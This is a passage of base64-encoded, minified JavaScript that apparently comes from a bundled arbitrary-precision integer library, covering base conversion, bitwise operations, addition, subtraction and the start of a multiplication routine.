AAI,mBAAK,MAAMA,EAAC,IAAE;AAAE,gBAAIC,IAAEC,IAAEC,KAAE;AAAE,gBAAG,SAAOJ;AAAE,mBAAIC,KAAEJ,GAAE,SAAO,GAAEK,KAAE,GAAED,MAAG,GAAEA,MAAG;AAAE,gBAAAE,KAAEN,GAAEI,EAAC,IAAEJ,GAAEI,KAAE,CAAC,KAAG,IAAEJ,GAAEI,KAAE,CAAC,KAAG,IAAG,KAAK,MAAMC,EAAC,KAAGC,MAAGC,KAAE,UAAS,KAAK,MAAMF,KAAE,CAAC,IAAEC,OAAI,KAAGC,KAAE,WAAUA,MAAG,OAAK,OAAKA,MAAG,IAAGF;AAAA,qBAAa,SAAOF;AAAE,mBAAIC,KAAE,GAAEC,KAAE,GAAED,KAAEJ,GAAE,QAAOI,MAAG;AAAE,gBAAAE,KAAEN,GAAEI,EAAC,IAAEJ,GAAEI,KAAE,CAAC,KAAG,IAAEJ,GAAEI,KAAE,CAAC,KAAG,IAAG,KAAK,MAAMC,EAAC,KAAGC,MAAGC,KAAE,UAAS,KAAK,MAAMF,KAAE,CAAC,IAAEC,OAAI,KAAGC,KAAE,WAAUA,MAAG,OAAK,OAAKA,MAAG,IAAGF;AAAK,mBAAO,KAAK,OAAO;AAAA,UAAC,GAAED,GAAE,UAAU,YAAU,SAASJ,IAAEE,IAAED,IAAE;AAAC,iBAAK,SAAO,KAAK,MAAMD,GAAE,SAAOE,MAAG,CAAC,GAAE,KAAK,QAAM,IAAI,MAAM,KAAK,MAAM;AAAE,qBAAQC,KAAE,GAAEA,KAAE,KAAK,QAAOA;AAAI,mBAAK,MAAMA,EAAC,IAAE;AAAE,gBAAIC,IAAEC,KAAE,GAAEC,KAAE;AAAE,gBAAG,SAAOL;AAAE,mBAAIE,KAAEH,GAAE,SAAO,GAAEG,MAAGD,IAAEC,MAAG;AAAE,gBAAAC,KAAEG,GAAEP,IAAEE,IAAEC,EAAC,KAAGE,IAAE,KAAK,MAAMC,EAAC,KAAG,WAASF,IAAEC,MAAG,MAAIA,MAAG,IAAGC,MAAG,GAAE,KAAK,MAAMA,EAAC,KAAGF,OAAI,MAAIC,MAAG;AAAA;AAAO,mBAAIF,MAAGH,GAAE,SAAOE,MAAG,KAAG,IAAEA,KAAE,IAAEA,IAAEC,KAAEH,GAAE,QAAOG,MAAG;AAAE,gBAAAC,KAAEG,GAAEP,IAAEE,IAAEC,EAAC,KAAGE,IAAE,KAAK,MAAMC,EAAC,KAAG,WAASF,IAAEC,MAAG,MAAIA,MAAG,IAAGC,MAAG,GAAE,KAAK,MAAMA,EAAC,KAAGF,OAAI,MAAIC,MAAG;AAAE,iBAAK,OAAO;AAAA,UAAC,GAAED,GAAE,UAAU,aAAW,SAASJ,IAAEE,IAAED,IAAE;AAAC,iBAAK,QAAM,CAAC,CAAC,GAAE,KAAK,SAAO;AAAE,qBAAQE,KAAE,GAAEC,KAAE,GAAEA,MAAG,UAASA,MAAGF;AAAE,cAAAC;AAAI,YAAAA,MAAIC,KAAEA,KAAEF,KAAE;AAAE,qBAAQG,KAAEL,GAAE,SAAOC,IAAEK,KAAED,KAAEF,IAAEI,KAAE,KAAK,IAAIF,IAAEA,KAAEC,EAAC,IAAEL,IAAEO,KAAE,GAAEC,KAAER,IAAEQ,KAAEF,IAAEE,MAAGN;AAAE,cAAAK,KAAEwB,GAAEhC,IAAES,IAAEA,KAAEN,IAAED,EAAC,GAAE,KAAK,MAAME,EAAC,GAAE,KAAK,MAAM,CAAC,IAAEI,KAAE,WAAS,KAAK,MAAM,CAAC,KAAGA,KAAE,KAAK,OAAOA,EAAC;AAAE,gBAAG,MAAIF,IAAE;AAAC,kBAAII,KAAE;AAAE,mBAAIF,KAAEwB,GAAEhC,IAAES,IAAET,GAAE,QAAOE,EAAC,GAAEO,KAAE,GAAEA,KAAEH,IAAEG;AAAI,gBAAAC,MAAGR;AAAE,mBAAK,MAAMQ,EAAC,GAAE,KAAK,MAAM,CAAC,IAAEF,KAAE,WAAS,KAAK,MAAM,CAAC,KAAGA,KAAE,KAAK,OAAOA,EAAC;AAAA,YAAC;AAAC,iBAAK,OAAO;AAAA,UAAC,GAAEJ,GAAE,UAAU,OAAK,SAASJ,IAAE;AAAC,YAAAA,GAAE,QAAM,IAAI,MAAM,KAAK,MAAM;AAAE,qBAAQE,KAAE,GAAEA,KAAE,KAAK,QAAOA;AAAI,cAAAF,GAAE,MAAME,EAAC,IAAE,KAAK,MAAMA,EAAC;AAAE,YAAAF,GAAE,SAAO,KAAK,QAAOA,GAAE,WAAS,KAAK,UAASA,GAAE,MAAI,KAAK;AAAA,UAAG,GAAEI,GAAE,UAAU,QAAM,SAASJ,IAAE;AAAC,YAAAQ,GAAER,IAAE,IAAI;AAAA,UAAC,GAAEI,GAAE,UAAU,QAAM,WAAU;AAAC,gBAAIJ,KAAE,IAAII,GAAE,IAAI;AAAE,mBAAO,KAAK,KAAKJ,EAAC,GAAEA;AAAA,UAAC,GAAEI,GAAE,UAAU,UAAQ,SAASJ,IAAE;AAAC,mBAAK,KAAK,SAAOA;AAAG,mBAAK,MAAM,KAAK,QAAQ,IAAE;AAAE,mBAAO;AAAA,UAAI,GAAEI,GAAE,UAAU,SAAO,WAAU;AAAC,mBAAK,KAAK,SAAO,KAAG,MAAI,KAAK,MAAM,KAAK,SAAO,CAAC;AAAG,mBAAK;AAAS,mBAAO,KAAK,UAAU;AAAA,UAAC,GAAEA,GAAE,UAAU,YAAU,WAAU;AAAC,mBAAO,MAAI,KAAK,UAAQ,MAAI,KAAK,MAAM,CAAC,MAAI,KAAK,WAAS,IAAG;AAAA,UAAI,GAAE,eAAa,OAAO,UAAQ,cAAY,OAAO,OAAO;AAAI,gBAAG;AAAC,cAAAA,GAAE,UAAU,OAAO,IAAI,4BAA4B,CAAC,IAAEK;AAAA,YAAC,SAAOT,IAAE;AAAC,cAAAI,GAAE,UAAU,UAAQK;AAAA,YAAC;AAAA;AAAM,YAAAL,GAAE,UAAU,UAAQK;AAAE,mBAASA,KAAG;AAAC,oBAAO,KAAK,MAAI,YAAU,WAAS,KAAK,SAAS,EAAE,IAAE;AAAA,UAAG;AAAC,cAAIC,KAAE,CAAC,IAAG,KAAI,MAAK,OAAM,QAAO,SAAQ,UAAS,WAAU,YAAW,aAAY,cAAa,eAAc,gBAAe,iBAAgB,kBAAiB,mBAAkB,oBAAmB,qBAAoB,sBAAqB,uBAAsB,wBAAuB,yBAAwB,0BAAyB,2BAA0B,4BAA2B,2BAA2B,GAAEC,KAAE,CAAC,GAAE,GAAE,IAAG,IAAG,IAAG,IAAG,IAAG,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,GAAE,CAAC,GAAEC,KAAE,CAAC,GAAE,GAAE,UAAS,UAAS,UAAS,UAAS,UAAS,UAAS,UAAS,UAAS,KAAI,UAAS,UAAS,UAAS,SAAQ,UAAS,UAAS,UAAS,UAAS,UAAS,MAAK,SAAQ,SAAQ,SAAQ,SAAQ,SAAQ,UAAS,UAAS,UAAS,UAAS,OAAM,UAAS,UAAS,UAAS,UAAS,UAAS,QAAQ;AAAE,UAAAR,GAAE,UAAU,WAAS,SAASJ,IAAEE,IAAE;AAAC,gBAAIC;AAAE,gBAAGD,KAAE,IAAEA,MAAG,GAAE,QAAMF,KAAEA,MAAG,OAAK,UAAQA,IAAE;AAAC,cAAAG,KAAE;AAAG,uBAAQC,KAAE,GAAEC,KAAE,GAAEC,KAAE,GAAEA,KAAE,KAAK,QAAOA,MAAI;AAAC,oBAAIC,KAAE,KAAK,MAAMD,EAAC,GAAE0B,MAAG,YAAUzB,MAAGH,KAAEC,KAAI,SAAS,EAAE;AAAE,gBAAAA,KAAEE,OAAI,KAAGH,KAAE,WAAUA,MAAG,MAAI,OAAKA,MAAG,IAAGE,OAAKH,KAAE,MAAIE,MAAGC,OAAI,KAAK,SAAO,IAAEI,GAAE,IAAEsB,GAAE,MAAM,IAAEA,KAAE7B,KAAE6B,KAAE7B;AAAA,cAAC;AAAC,mBAAI,MAAIE,OAAIF,KAAEE,GAAE,SAAS,EAAE,IAAEF,KAAGA,GAAE,SAAOD,MAAG;AAAG,gBAAAC,KAAE,MAAIA;AAAE,qBAAO,MAAI,KAAK,aAAWA,KAAE,MAAIA,KAAGA;AAAA,YAAC;AAAC,gBAAGH,QAAK,IAAEA,OAAIA,MAAG,KAAGA,MAAG,IAAG;AAAC,kBAAIQ,KAAEG,GAAEX,EAAC,GAAES,KAAEG,GAAEZ,EAAC;AAAE,cAAAG,KAAE;AAAG,kBAAIU,KAAE,KAAK,MAAM;AAAE,mBAAIA,GAAE,WAAS,GAAE,CAACA,GAAE,OAAO,KAAG;AAAC,oBAAIC,KAAED,GAAE,MAAMJ,EAAC,EAAE,SAAST,EAAC;AAAE,gBAAAG,MAAGU,KAAEA,GAAE,MAAMJ,EAAC,GAAG,OAAO,IAAEK,KAAEX,KAAEO,GAAEF,KAAEM,GAAE,MAAM,IAAEA,KAAEX;AAAA,cAAC;AAAC,mBAAI,KAAK,OAAO,MAAIA,KAAE,MAAIA,KAAGA,GAAE,SAAOD,MAAG;AAAG,gBAAAC,KAAE,MAAIA;AAAE,qBAAO,MAAI,KAAK,aAAWA,KAAE,MAAIA,KAAGA;AAAA,YAAC;AAAC,YAAAF,GAAE,OAAG,iCAAiC;AAAA,UAAC,GAAEG,GAAE,UAAU,WAAS,WAAU;AAAC,gBAAIJ,KAAE,KAAK,MAAM,CAAC;AAAE,mBAAO,MAAI,KAAK,SAAOA,MAAG,WAAS,KAAK,MAAM,CAAC,IAAE,MAAI,KAAK,UAAQ,MAAI,KAAK,MAAM,CAAC,IAAEA,MAAG,mBAAiB,WAAS,KAAK,MAAM,CAAC,IAAE,KAAK,SAAO,KAAGC,GAAE,OAAG,4CAA4C,GAAE,MAAI,KAAK,WAAS,CAACD,KAAEA;AAAA,UAAC,GAAEI,GAAE,UAAU,SAAO,WAAU;AAAC,mBAAO,KAAK,SAAS,IAAG,CAAC;AAAA,UAAC,GAAEC,OAAID,GAAE,UAAU,WAAS,SAASJ,IAAEE,IAAE;AAAC,mBAAO,KAAK,YAAYG,IAAEL,IAAEE,EAAC;AAAA,UAAC,IAAGE,GAAE,UAAU,UAAQ,SAASJ,IAAEE,IAAE;AAAC,mBAAO,KAAK,YAAY,OAAMF,IAAEE,EAAC;AAAA,UAAC;AAAE,mBAASW,GAAEb,IAAEE,IAAED,IAAE;AAAC,YAAAA,GAAE,WAASC,GAAE,WAASF,GAAE;AAAS,gBAAIG,KAAEH,GAAE,SAAOE,GAAE,SAAO;AAAE,YAAAD,GAAE,SAAOE,IAAEA,KAAEA,KAAE,IAAE;AAAE,gBAAIC,KAAE,IAAEJ,GAAE,MAAM,CAAC,GAAEK,KAAE,IAAEH,GAAE,MAAM,CAAC,GAAEI,KAAEF,KAAEC,IAAEE,KAAE,WAASD,IAAE0B,KAAE1B,KAAE,WAAS;AAAE,YAAAL,GAAE,MAAM,CAAC,IAAEM;AAAE,qBAAQC,KAAE,GAAEA,KAAEL,IAAEK,MAAI;AAAC,uBAAQC,KAAEuB,OAAI,IAAGtB,KAAE,WAASsB,IAAErB,KAAE,KAAK,IAAIH,IAAEN,GAAE,SAAO,CAAC,GAAEU,KAAE,KAAK,IAAI,GAAEJ,KAAER,GAAE,SAAO,CAAC,GAAEY,MAAGD,IAAEC,MAAI;AAAC,oBAAIC,KAAEL,KAAEI,KAAE;AAAE,gBAAAH,OAAIH,MAAGF,KAAE,IAAEJ,GAAE,MAAMa,EAAC,MAAIR,KAAE,IAAEH,GAAE,MAAMU,EAAC,KAAGF,MAAG,WAAS,GAAEA,KAAE,WAASJ;AAAA,cAAC;AAAC,cAAAL,GAAE,MAAMO,EAAC,IAAE,IAAEE,IAAEsB,KAAE,IAAEvB;AAAA,YAAC;AAAC,mBAAO,MAAIuB,KAAE/B,GAAE,MAAMO,EAAC,IAAE,IAAEwB,KAAE/B,GAAE,UAASA,GAAE,OAAO;AAAA,UAAC;AAAC,UAAAG,GAAE,UAAU,cAAY,SAASJ,IAAEE,IAAEC,IAAE;AAAC,iBAAK,OAAO;AAAE,gBAAIC,KAAE,KAAK,WAAW,GAAEC,KAAEF,MAAG,KAAK,IAAI,GAAEC,EAAC;AAAE,YAAAH,GAAEG,MAAGC,IAAE,uCAAuC,GAAEJ,GAAEI,KAAE,GAAE,6BAA6B;AAAE,gBAAIC,KAAE,SAASN,IAAEE,IAAE;AAAC,qBAAOF,GAAE,cAAYA,GAAE,YAAYE,EAAC,IAAE,IAAIF,GAAEE,EAAC;AAAA,YAAC,EAAEF,IAAEK,EAAC;AAAE,mBAAO,KAAK,kBAAgB,SAAOH,KAAE,OAAK,KAAK,EAAEI,IAAEF,EAAC,GAAEE;AAAA,UAAC,GAAEF,GAAE,UAAU,iBAAe,SAASJ,IAAEE,IAAE;AAAC,qBAAQD,KAAE,GAAEE,KAAE,GAAEC,KAAE,GAAEC,KAAE,GAAED,KAAE,KAAK,QAAOA,MAAI;AAAC,kBAAIE,KAAE,KAAK,MAAMF,EAAC,KAAGC,KAAEF;AAAE,cAAAH,GAAEC,IAAG,IAAE,MAAIK,IAAEL,KAAED,GAAE,WAASA,GAAEC,IAAG,IAAEK,MAAG,IAAE,MAAKL,KAAED,GAAE,WAASA,GAAEC,IAAG,IAAEK,MAAG,KAAG,MAAK,MAAID,MAAGJ,KAAED,GAAE,WAASA,GAAEC,IAAG,IAAEK,MAAG,KAAG,MAAKH,KAAE,GAAEE,KAAE,MAAIF,KAAEG,OAAI,IAAGD,MAAG;AAAA,YAAE;AAAC,gBAAGJ,KAAED,GAAE;AAAO,mBAAIA,GAAEC,IAAG,IAAEE,IAAEF,KAAED,GAAE;AAAQ,gBAAAA,GAAEC,IAAG,IAAE;AAAA,UAAC,GAAEG,GAAE,UAAU,iBAAe,SAASJ,IAAEE,IAAE;AAAC,qBAAQD,KAAED,GAAE,SAAO,GAAEG,KAAE,GAAEC,KAAE,GAAEC,KAAE,GAAED,KAAE,KAAK,QAAOA,MAAI;AAAC,kBAAIE,KAAE,KAAK,MAAMF,EAAC,KAAGC,KAAEF;AAAE,cAAAH,GAAEC,IAAG,IAAE,MAAIK,IAAEL,MAAG,MAAID,GAAEC,IAAG,IAAEK,MAAG,IAAE,MAAKL,MAAG,MAAID,GAAEC,IAAG,IAAEK,MAAG,KAAG,MAAK,MAAID,MAAGJ,MAAG,MAAID,GAAEC,IAAG,IAAEK,MAAG,KAAG,MAAKH,KAAE,GAAEE,KAAE,MAAIF,KAAEG,OAAI,IAAGD,MAAG;AAAA,YAAE;AAAC,gBAAGJ,MAAG;AAAE,mBAAID,GAAEC,IAAG,IAAEE,IAAEF,MAAG;AAAG,gBAAAD,GAAEC,IAAG,IAAE;AAAA,UAAC,GAAE,KAAK,QAAMG,GAAE,UAAU,aAAW,SAASJ,IAAE;AAAC,mBAAO,KAAG,KAAK,MAAMA,EAAC;AAAA,UAAC,IAAEI,GAAE,UAAU,aAAW,SAASJ,IAAE;AAAC,gBAAIE,KAAEF,IAAEC,KAAE;AAAE,mBAAOC,MAAG,SAAOD,MAAG,IAAGC,QAAK,KAAIA,MAAG,OAAKD,MAAG,GAAEC,QAAK,IAAGA,MAAG,MAAID,MAAG,GAAEC,QAAK,IAAGA,MAAG,MAAID,MAAG,GAAEC,QAAK,IAAGD,KAAEC;AAAA,UAAC,GAAEE,GAAE,UAAU,YAAU,SAASJ,IAAE;AAAC,gBAAG,MAAIA;AAAE,qBAAO;AAAG,gBAAIE,KAAEF,IAAEC,KAAE;AAAE,mBAAO,OAAKC,OAAID,MAAG,IAAGC,QAAK,KAAI,MAAIA,OAAID,MAAG,GAAEC,QAAK,IAAG,KAAGA,OAAID,MAAG,GAAEC,QAAK,IAAG,IAAEA,OAAID,MAAG,GAAEC,QAAK,IAAG,IAAEA,MAAGD,MAAIA;AAAA,UAAC,GAAEG,GAAE,UAAU,YAAU,WAAU;AAAC,gBAAIJ,KAAE,KAAK,MAAM,KAAK,SAAO,CAAC,GAAEE,KAAE,KAAK,WAAWF,EAAC;AAAE,mBAAO,MAAI,KAAK,SAAO,KAAGE;AAAA,UAAC,GAAEE,GAAE,UAAU,WAAS,WAAU;AAAC,gBAAG,KAAK,OAAO;AAAE,qBAAO;AAAE,qBAAQJ,KAAE,GAAEE,KAAE,GAAEA,KAAE,KAAK,QAAOA,MAAI;AAAC,kBAAID,KAAE,KAAK,UAAU,KAAK,MAAMC,EAAC,CAAC;AAAE,kBAAGF,MAAGC,IAAE,OAAKA;AAAE;AAAA,YAAK;AAAC,mBAAOD;AAAA,UAAC,GAAEI,GAAE,UAAU,aAAW,WAAU;AAAC,mBAAO,KAAK,KAAK,KAAK,UAAU,IAAE,CAAC;AAAA,UAAC,GAAEA,GAAE,UAAU,SAAO,SAASJ,IAAE;AAAC,mBAAO,MAAI,KAAK,WAAS,KAAK,IAAI,EAAE,MAAMA,EAAC,EAAE,MAAM,CAAC,IAAE,KAAK,MAAM;AAAA,UAAC,GAAEI,GAAE,UAAU,WAAS,SAASJ,IAAE;AAAC,mBAAO,KAAK,MAAMA,KAAE,CAAC,IAAE,KAAK,KAAKA,EAAC,EAAE,MAAM,CAAC,EAAE,KAAK,IAAE,KAAK,MAAM;AAAA,UAAC,GAAEI,GAAE,UAAU,QAAM,WAAU;AAAC,mBAAO,MAAI,KAAK;AAAA,UAAQ,GAAEA,GAAE,UAAU,MAAI,WAAU;AAAC,mBAAO,KAAK,MAAM,EAAE,KAAK;AAAA,UAAC,GAAEA,GAAE,UAAU,OAAK,WAAU;AAAC,mBAAO,KAAK,OAAO,MAAI,KAAK,YAAU,IAAG;AAAA,UAAI,GAAEA,GAAE,UAAU,OAAK,SAASJ,IAAE;AAAC,mBAAK,KAAK,SAAOA,GAAE;AAAQ,mBAAK,MAAM,KAAK,QAAQ,IAAE;AAAE,qBAAQE,KAAE,GAAEA,KAAEF,GAAE,QAAOE;AAAI,mBAAK,MAAMA,EAAC,IAAE,KAAK,MAAMA,EAAC,IAAEF,GAAE,MAAME,EAAC;AAAE,mBAAO,KAAK,OAAO;AAAA,UAAC,GAAEE,GAAE,UAAU,MAAI,SAASJ,IAAE;AAAC,mBAAOC,GAAE,EAAE,KAAK,WAASD,GAAE,SAAS,GAAE,KAAK,KAAKA,EAAC;AAAA,UAAC,GAAEI,GAAE,UAAU,KAAG,SAASJ,IAAE;AAAC,mBAAO,KAAK,SAAOA,GAAE,SAAO,KAAK,MAAM,EAAE,IAAIA,EAAC,IAAEA,GAAE,MAAM,EAAE,IAAI,IAAI;AAAA,UAAC,GAAEI,GAAE,UAAU,MAAI,SAASJ,IAAE;AAAC,mBAAO,KAAK,SAAOA,GAAE,SAAO,KAAK,MAAM,EAAE,KAAKA,EAAC,IAAEA,GAAE,MAAM,EAAE,KAAK,IAAI;AAAA,UAAC,GAAEI,GAAE,UAAU,QAAM,SAASJ,IAAE;AAAC,gBAAIE;AAAE,YAAAA,KAAE,KAAK,SAAOF,GAAE,SAAOA,KAAE;AAAK,qBAAQC,KAAE,GAAEA,KAAEC,GAAE,QAAOD;AAAI,mBAAK,MAAMA,EAAC,IAAE,KAAK,MAAMA,EAAC,IAAED,GAAE,MAAMC,EAAC;AAAE,mBAAO,KAAK,SAAOC,GAAE,QAAO,KAAK,OAAO;AAAA,UAAC,GAAEE,GAAE,UAAU,OAAK,SAASJ,IAAE;AAAC,mBAAOC,GAAE,EAAE,KAAK,WAASD,GAAE,SAAS,GAAE,KAAK,MAAMA,EAAC;AAAA,UAAC,GAAEI,GAAE,UAAU,MAAI,SAASJ,IAAE;AAAC,mBAAO,KAAK,SAAOA,GAAE,SAAO,KAAK,MAAM,EAAE,KAAKA,EAAC,IAAEA,GAAE,MAAM,EAAE,KAAK,IAAI;AAAA,UAAC,GAAEI,GAAE,UAAU,OAAK,SAASJ,IAAE;AAAC,mBAAO,KAAK,SAAOA,GAAE,SAAO,KAAK,MAAM,EAAE,MAAMA,EAAC,IAAEA,GAAE,MAAM,EAAE,MAAM,IAAI;AAAA,UAAC,GAAEI,GAAE,UAAU,QAAM,SAASJ,IAAE;AAAC,gBAAIE,IAAED;AAAE,iBAAK,SAAOD,GAAE,UAAQE,KAAE,MAAKD,KAAED,OAAIE,KAAEF,IAAEC,KAAE;AAAM,qBAAQE,KAAE,GAAEA,KAAEF,GAAE,QAAOE;AAAI,mBAAK,MAAMA,EAAC,IAAED,GAAE,MAAMC,EAAC,IAAEF,GAAE,MAAME,EAAC;AAAE,gBAAG,SAAOD;AAAE,qBAAKC,KAAED,GAAE,QAAOC;AAAI,qBAAK,MAAMA,EAAC,IAAED,GAAE,MAAMC,EAAC;AAAE,mBAAO,KAAK,SAAOD,GAAE,QAAO,KAAK,OAAO;AAAA,UAAC,GAAEE,GAAE,UAAU,OAAK,SAASJ,IAAE;AAAC,mBAAOC,GAAE,EAAE,KAAK,WAASD,GAAE,SAAS,GAAE,KAAK,MAAMA,EAAC;AAAA,UAAC,GAAEI,GAAE,UAAU,MAAI,SAASJ,IAAE;AAAC,mBAAO,KAAK,SAAOA,GAAE,SAAO,KAAK,MAAM,EAAE,KAAKA,EAAC,IAAEA,GAAE,MAAM,EAAE,KAAK,IAAI;AAAA,UAAC,GAAEI,GAAE,UAAU,OAAK,SAASJ,IAAE;AAAC,mBAAO,KAAK,SAAOA,GAAE,SAAO,KAAK,MAAM,EAAE,MAAMA,EAAC,IAAEA,GAAE,MAAM,EAAE,MAAM,IAAI;AAAA,UAAC,GAAEI,GAAE,UAAU,QAAM,SAASJ,IAAE;AAAC,YAAAC,GAAE,YAAU,OAAOD,MAAGA,MAAG,CAAC;AAAE,gBAAIE,KAAE,IAAE,KAAK,KAAKF,KAAE,EAAE,GAAEG,KAAEH,KAAE;AAAG,iBAAK,QAAQE,EAAC,GAAEC,KAAE,KAAGD;AAAI,qBAAQE,KAAE,GAAEA,KAAEF,IAAEE;AAAI,mBAAK,MAAMA,EAAC,IAAE,WAAS,CAAC,KAAK,MAAMA,EAAC;AAAE,mBAAOD,KAAE,MAAI,KAAK,MAAMC,EAAC,IAAE,CAAC,KAAK,MAAMA,EAAC,IAAE,YAAU,KAAGD,KAAG,KAAK,OAAO;AAAA,UAAC,GAAEC,GAAE,UAAU,OAAK,SAASJ,IAAE;AAAC,mBAAO,KAAK,MAAM,EAAE,MAAMA,EAAC;AAAA,UAAC,GAAEI,GAAE,UAAU,OAAK,SAASJ,IAAEE,IAAE;AAAC,YAAAD,GAAE,YAAU,OAAOD,MAAGA,MAAG,CAAC;AAAE,gBAAIG,KAAEH,KAAE,KAAG,GAAEI,KAAEJ,KAAE;AAAG,mBAAO,KAAK,QAAQG,KAAE,CAAC,GAAE,KAAK,MAAMA,EAAC,IAAED,KAAE,KAAK,MAAMC,EAAC,IAAE,KAAGC,KAAE,KAAK,MAAMD,EAAC,IAAE,EAAE,KAAGC,KAAG,KAAK,OAAO;AAAA,UAAC,GAAEA,GAAE,UAAU,OAAK,SAASJ,IAAE;AAAC,gBAAIE,IAAED,IAAEE;AAAE,gBAAG,MAAI,KAAK,YAAU,MAAIH,GAAE;AAAS,qBAAO,KAAK,WAAS,GAAEE,KAAE,KAAK,KAAKF,EAAC,GAAE,KAAK,YAAU,GAAE,KAAK,UAAU;AAAE,gBAAG,MAAI,KAAK,YAAU,MAAIA,GAAE;AAAS,qBAAOA,GAAE,WAAS,GAAEE,KAAE,KAAK,KAAKF,EAAC,GAAEA,GAAE,WAAS,GAAEE,GAAE,UAAU;AAAE,iBAAK,SAAOF,GAAE,UAAQC,KAAE,MAAKE,KAAEH,OAAIC,KAAED,IAAEG,KAAE;AAAM,qBAAQC,KAAE,GAAEC,KAAE,GAAEA,KAAEF,GAAE,QAAOE;AAAI,cAAAH,MAAG,IAAED,GAAE,MAAMI,EAAC,MAAI,IAAEF,GAAE,MAAME,EAAC,KAAGD,IAAE,KAAK,MAAMC,EAAC,IAAE,WAASH,IAAEE,KAAEF,OAAI;AAAG,mBAAK,MAAIE,MAAGC,KAAEJ,GAAE,QAAOI;AAAI,cAAAH,MAAG,IAAED,GAAE,MAAMI,EAAC,KAAGD,IAAE,KAAK,MAAMC,EAAC,IAAE,WAASH,IAAEE,KAAEF,OAAI;AAAG,gBAAG,KAAK,SAAOD,GAAE,QAAO,MAAIG;AAAE,mBAAK,MAAM,KAAK,MAAM,IAAEA,IAAE,KAAK;AAAA,qBAAiBH,OAAI;AAAK,qBAAKI,KAAEJ,GAAE,QAAOI;AAAI,qBAAK,MAAMA,EAAC,IAAEJ,GAAE,MAAMI,EAAC;AAAE,mBAAO;AAAA,UAAI,GAAED,GAAE,UAAU,MAAI,SAASJ,IAAE;AAAC,gBAAIE;AAAE,mBAAO,MAAIF,GAAE,YAAU,MAAI,KAAK,YAAUA,GAAE,WAAS,GAAEE,KAAE,KAAK,IAAIF,EAAC,GAAEA,GAAE,YAAU,GAAEE,MAAG,MAAIF,GAAE,YAAU,MAAI,KAAK,YAAU,KAAK,WAAS,GAAEE,KAAEF,GAAE,IAAI,IAAI,GAAE,KAAK,WAAS,GAAEE,MAAG,KAAK,SAAOF,GAAE,SAAO,KAAK,MAAM,EAAE,KAAKA,EAAC,IAAEA,GAAE,MAAM,EAAE,KAAK,IAAI;AAAA,UAAC,GAAEI,GAAE,UAAU,OAAK,SAASJ,IAAE;AAAC,gBAAG,MAAIA,GAAE,UAAS;AAAC,cAAAA,GAAE,WAAS;AAAE,kBAAIE,KAAE,KAAK,KAAKF,EAAC;AAAE,qBAAOA,GAAE,WAAS,GAAEE,GAAE,UAAU;AAAA,YAAC;AAAC,gBAAG,MAAI,KAAK;AAAS,qBAAO,KAAK,WAAS,GAAE,KAAK,KAAKF,EAAC,GAAE,KAAK,WAAS,GAAE,KAAK,UAAU;AAAE,gBAAIC,IAAEE,IAAEC,KAAE,KAAK,IAAIJ,EAAC;AAAE,gBAAG,MAAII;AAAE,qBAAO,KAAK,WAAS,GAAE,KAAK,SAAO,GAAE,KAAK,MAAM,CAAC,IAAE,GAAE;AAAK,YAAAA,KAAE,KAAGH,KAAE,MAAKE,KAAEH,OAAIC,KAAED,IAAEG,KAAE;AAAM,qBAAQE,KAAE,GAAEC,KAAE,GAAEA,KAAEH,GAAE,QAAOG;AAAI,cAAAD,MAAGH,MAAG,IAAED,GAAE,MAAMK,EAAC,MAAI,IAAEH,GAAE,MAAMG,EAAC,KAAGD,OAAI,IAAG,KAAK,MAAMC,EAAC,IAAE,WAASJ;AAAE,mBAAK,MAAIG,MAAGC,KAAEL,GAAE,QAAOK;AAAI,cAAAD,MAAGH,MAAG,IAAED,GAAE,MAAMK,EAAC,KAAGD,OAAI,IAAG,KAAK,MAAMC,EAAC,IAAE,WAASJ;AAAE,gBAAG,MAAIG,MAAGC,KAAEL,GAAE,UAAQA,OAAI;AAAK,qBAAKK,KAAEL,GAAE,QAAOK;AAAI,qBAAK,MAAMA,EAAC,IAAEL,GAAE,MAAMK,EAAC;AAAE,mBAAO,KAAK,SAAO,KAAK,IAAI,KAAK,QAAOA,EAAC,GAAEL,OAAI,SAAO,KAAK,WAAS,IAAG,KAAK,OAAO;AAAA,UAAC,GAAEG,GAAE,UAAU,MAAI,SAASJ,IAAE;AAAC,mBAAO,KAAK,MAAM,EAAE,KAAKA,EAAC;AAAA,UAAC;AAAE,cAAIc,KAAE,SAASd,IAAEE,IAAED,IAAE;AAAC,gBAAIE,IAAEC,IAAEC,IAAEC,KAAEN,GAAE,OAAMO,KAAEL,GAAE,OAAM8B,KAAE/B,GAAE,OAAMO,KAAE,GAAEC,KAAE,IAAEH,GAAE,CAAC,GAAEI,KAAE,OAAKD,IAAEE,KAAEF,OAAI,IAAGG,KAAE,IAAEN,GAAE,CAAC,GAAEO,KAAE,OAAKD,IAAEE,KAAEF,OAAI,IAAGG,KAAE,IAAET,GAAE,CAAC,GAAEW,KAAE,OAAKF,IAAEG,KAAEH,OAAI,IAAGK,KAAE,IAAEd,GAAE,CAAC,GAAEe,KAAE,OAAKD,IAAEE,KAAEF,OAAI,IAAGG,KAAE,IAAEjB,GAAE,CAAC,GAAEa,KAAE,OAAKI,IAAEE,KAAEF,OAAI,IAAGG,KAAE,IAAEpB,GAAE,CAAC,GAAEqB,KAAE,OAAKD,IAAEE,KAAEF,OAAI,IAAGG,KAAE,IAAEvB,GAAE,CAAC,GAAEwB,KAAE,OAAKD,IAAEE,KAAEF,OAAI,IAAGb,KAAE,IAAEV,GAAE,CAAC,GAAEkB,KAAE,OAAKR,IAAEiB,KAAEjB,OAAI,IAAGkB,KAAE,IAAE5B,GAAE,CAAC,GAAE6B,KAAE,OAAKD,IAAEE,KAAEF,OAAI,IAAGG,KAAE,IAAE/B,GAAE,CAAC,GAAEgC,KAAE,OAAKD,IAAEE,KAAEF,OAAI,IAAGG,KAAE,IAAEjC,GAAE,CAAC,GAAEkC,KAAE,OAAKD,IAAEE,KAAEF,OAAI,IAAGG,KAAE,IAAEpC,GAAE,CAAC,GAAEqC,KAAE,OAAKD,IAAEE,KAAEF,OAAI,IAAGG,KAAE,IAAEvC,GAAE,CAAC,GAAEwC,KAAE,OAAKD,IAAEE,KAAEF,OAAI,IAAGG,KAAE,IAAE1C,GAAE,CAAC,GAAE2C,KAAE,OAAKD,IAAEE,KAAEF,OAAI,IAAGG,KAAE,IAAE7C,GAAE,CAAC,GAAE8C,KAAE,OAAKD,IAAEE,MAAGF,OAAI,IAAGG,MAAG,IAAEhD,GAAE,CAAC,GAAEiD,MAAG